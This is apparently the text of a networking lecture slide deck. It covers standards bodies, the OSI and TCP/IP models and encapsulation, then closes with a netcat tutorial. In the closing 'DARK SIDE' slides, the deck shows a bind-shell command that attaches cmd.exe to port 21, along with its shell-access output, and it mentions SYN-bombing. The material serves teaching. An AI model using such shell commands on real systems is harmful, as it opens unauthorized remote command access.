1. OSI and IP Network Models
Standards Organizations
Internet Organizations
OSI Model Overview
TCP/IP Model Overview

2. Standards Organizations
IEEE
ITU
IAB
EIA/TIA
ISO
LAN
WAN
Internet
Cabling
OSI model

3. Active IEEE Standards Groups
2-5
IEEE Standards
802.1
High Level Interface Working Group
802.3
CSMA/CD (Ethernet) Working Group
802.11
Wireless LAN Working Group
802.15
WPAN Working Group
802.16
Broadband Wireless Access Working Group
802.17
Resilient Packet Ring Working Group
802.18
Radio Regulatory TAG
802.19
Coexistence TAG
802.20
Mobile Broadband Wireless Access (MBWA) Working Group
802.21
Media Independent Handoff Working Group
802.22
Wireless Regional Area Networks

4. Common WAN Serial Interface Standards
2-6
Router
Electronics Industries Association
Telecommunications Industry Association
High-Speed Serial Interface
Router WAN serial
port standards
EIA/TIA-530
V.35
Electronics Industries Association
EIA/TIA-232 or
EIA/TIA-449
HSSI

5. UTP Category Standards
2-7
Category
Frequencies Supported
Typical Use 3
10 MHz
Voice, 10BaseT Ethernet 4
20 MHz
16 Mbps Token Ring 5e
100 MHz
100BaseTX and 1000BaseTX Ethernet 6
200 MHz
1000BaseTX Ethernet 7*
600 MHz
10000BaseTX Ethernet
* Fully Shielded Cabling

6. Internet Organizations
2-8
ISOC
IAB
IESG
IRSG
IRTF
IETF
ICANN
APNIC
ARIN
RIPE
LACNIC
AFRINIC
IANA

7. OSI Model Overview Networking OSI seven-layer model Chaos networking
Checking
for errors
Applications
7 Application
6 Presentation
5 Session
4 Transport
3 Network
2 Data link
1 Physical
Sending
messages
The wire
Mostly
software
Address of the server
1s and 0s
Mostly
hardware
Encryption
Without the OSI model,
networks would be very
difficult to understand
and implement.
With the OSI model, networks can
be broken up into manageable pieces.
The OSI model provides a common
language to explain components
and their functionality.

8. Layer 1: Physical Layer CAT5 UTP NIC Wall jack Device Patch panel
Hub and repeater

9. Layer 2: Data Link Layer Switch look-up tables Ethernet switch G A B CF
Hub
MAC address of NIC
A,B,C
D,E,F
Server

10. Layer 3: Network Layer Layer 3 addressing WAN Layer 3 addressing
Subnet 3
Subnet 1
LAN
LAN
Subnet 2
WAN
Layer 3 addressing
Layer 3 addressing
Router
Router

11. Layer 4: Transport Layer
Network
User
Server

12. Okay, start the next data at byte 108.
Layer 5: Session Layer
Data
Data Block from byte 47
User
device
File
server
Network
Okay, start the next data at byte 108.

13. Layer 6: Presentation Layer
Encrypt data
Decrypt data
Network

14. Layer 7: Application Layer
Web
browser
FTP

15. TCP/IP Model Overview

16. OSI (Open Systems Interconnect) Reference Model
Host: 1-B
Host: 2-A
Manages the program generating the data to the network
7 Application
7 Application
Packaging and presentation of the display format and code conversion for the data
6 Presentation
6 Presentation
Connects the user application directly between end systems
5 Session
5 Session
Segments, reassembles, and multiplexes multiple sessions over a layer 3 interface
4 Transport
4 Transport
3 Network
Provides delivery of data between the transport layers (end-to-end addressing)
3 Network
Establishes an interface across layer 1 for layer 3 (node-to-node addressing)
2 Data link
2 Data link
Provides the transmission of the bit stream across the physical connection
1 Physical
1 Physical
Network

17. Packaging a Message Using the OSI Model
Sending file
Server AH PH SH TH NH
DLH
DLT
Application header
Presentation header
Session header
Transport header
Network header
Data link header
Data link trailer PC AH
Data
7 Application PH
Data AH
6 Presentation SH
Data AH PH
5 Session
4 Transport TH SH
Data AH PH
3 Network NH SH
Data AH PH TH
2 Data link
DLH NH SH
Data AH PH TH
DLT
Network
1 Physical
Physical link

18. Unpackaging a Message Using the OSI Model
File received AH
Data
7 Application PH
Data AH
6 Presentation
Server SH
Data AH PH
5 Session TH SH
Data AH PH
4 Transport NH SH
Data AH PH TH
3 Network
DLH
DLT NH SH
Data AH PH TH
2 Data link
1 Physical
Network
Physical link

19. Comparison of the OSI Reference Model and TCP/IP Protocol Suite
DNS, SNMP, NFS, RPC
FTP, SMTP, Telnet, HTTP
TCP/IP protocol suite
applications
TCP
applications
UDP
7 Application
Process or application
6 Presentation
TCP
5 Session
4 Transport
UDP
Host-to-host IP
Network
3 Network
LAN Protocols
(for example, Ethernet)
WAN
(Frame Relay, MPLS, and ATM)
2 Data link
Network access
(network interface)
1 Physical

20. Packaging a Message with TCP/IP and Ethernet
FTP
SMTP
Telnet
HTTP
Web browsing
Remote Login
File
Transfer
Application
data
TCP segment
TCP header
Port Numbers
User
data 80 23 25 21
IP datagram
User
data
IP header
IP addresses
TCP header
Source and destination
Ethernet frame
User
data
Ethernet
trailer
IP header
TCP header
header
Source and destination MAC addresses
Error detection

21. Transporting Data between Networks
Ethernet
header
Ethernet trailer
Ethernet header
PPP
header
trailer IP
header
TCP
header
Application
data
Ethernet
trailer PC
Server
Application data
Application data
TCP or UDP
TCP or UDP
Router (network 1)
Router (network 2) IP
Network
Network IP
Ethernet
Ethernet
Data link
Data link
Ethernet
Ethernet
Physical
Physical
Physical
Physical
Physical
Physical
LAN
WAN
LAN
Leased circuit from carrier
PPP – Point-to-Point Protocol

22. WireShark shows the Network Stack
1 Physical
2 Data link
3 Network
4 Transport
5 Session
6 Presentation
7 Application

23. What it is What it does How to use it
netcat in a nutshell
What it is
What it does
How to use it

24. What is netcat ? Swiss Army Knife of Network
A versatile network Utility tool
Uses TCP and UDP protocol
Designed as a backend tool
Can be used directly
Driven by other programs

25. Power of netcat
Can create Outbound or Inbound connections TCP or UDP to or from any ports
Full DNS forward reverse checking
Can use any local port
Can use any locally configured network address
Port scanning with randomizer
Option to let other program service establish connections
Optional telnet responder

26. How Do I use netcat ? General form of usage is Simplest Usage would be
nc [switches] [hostname] [portnumber]
Simplest Usage would be
nc –v 80
GET HTTP/1.0
Hostname can be a name or IP Address

27. Options -v -w <seconds> -p <port number>
Controls the verbosity level
-w <seconds>
Sets the network inactivity timeout
-p <port number>
Binds the connection to specific port number

28. Options -o <file name> -l
To obtain hexdump file of data sent either way -l
Makes netcat wait for inbound connections
And once connection is established it transfers the data

29. Interesting -l (listener)
Can use to create like a listening netcat server
On listening end
C:\tools\nc> nc –l -p 1234 < test.txt
On client end
C:\tools\nc> nc

30. Options -L -r -z Listen harder Randomize port numbers
Zero – I/O mode [used in scanning]

31. Options -e <program name> -d -u
Allows to execute a program (dangerous) -d
Allows to run in detached mode without console window -u
Makes a UDP connection instead of TCP connection

32. Options -s <address> -i <seconds> -t Local source address
Specifies delay interval for lines sent or ports scanned -t
Answer telnet negotiation

33. Put the Knife to Use
Use It GOOD
Use It BAD

34. USE IT GOOD Port Scanning Find what is out there
nc -v -w 5 -r

35. USE IT GOOD Simple Data Transfer Agent HEX Dump Feature
Immaterial which side is server and which side is client
Input at one goes as output to another
HEX Dump Feature
Can be used to analyze odd network protocols

36. USE IT GOOD Performance Testing Protect your workstations X server
Generate large amount of useless data on network with server on one end and client on other end we can use it to test network performance.
Protect your workstations X server

37. DARK SIDE Scanning for vulnerable services
Can use files as input to netcat and scan the system by using –i and –r switches
Can use –e option to execute programs
SYN-Bombing
Can disable TCP servers

38. EXAMPLE
Listen on port 21 (FTP Port) using netcat with –e switch to execute cmd.exe
FTP request made from a different machine on the listener machine

39. D:\tools\nc> nc -l -p 21 -e cmd.exe
RESULT
D:\tools\nc> nc -l -p 21 -e cmd.exe
C:\Documents and Settings\RAJAT>ftp
Connected to
Microsoft Windows XP [Version ]
(C) Copyright Microsoft Corp.
Request

40. Conclusion Netcat is a very useful network utility tool
Very light but extremely effective
Particularly when it can listen and execute programs when connection requests are made on the specific ports

41. THANK YOU
Questions ??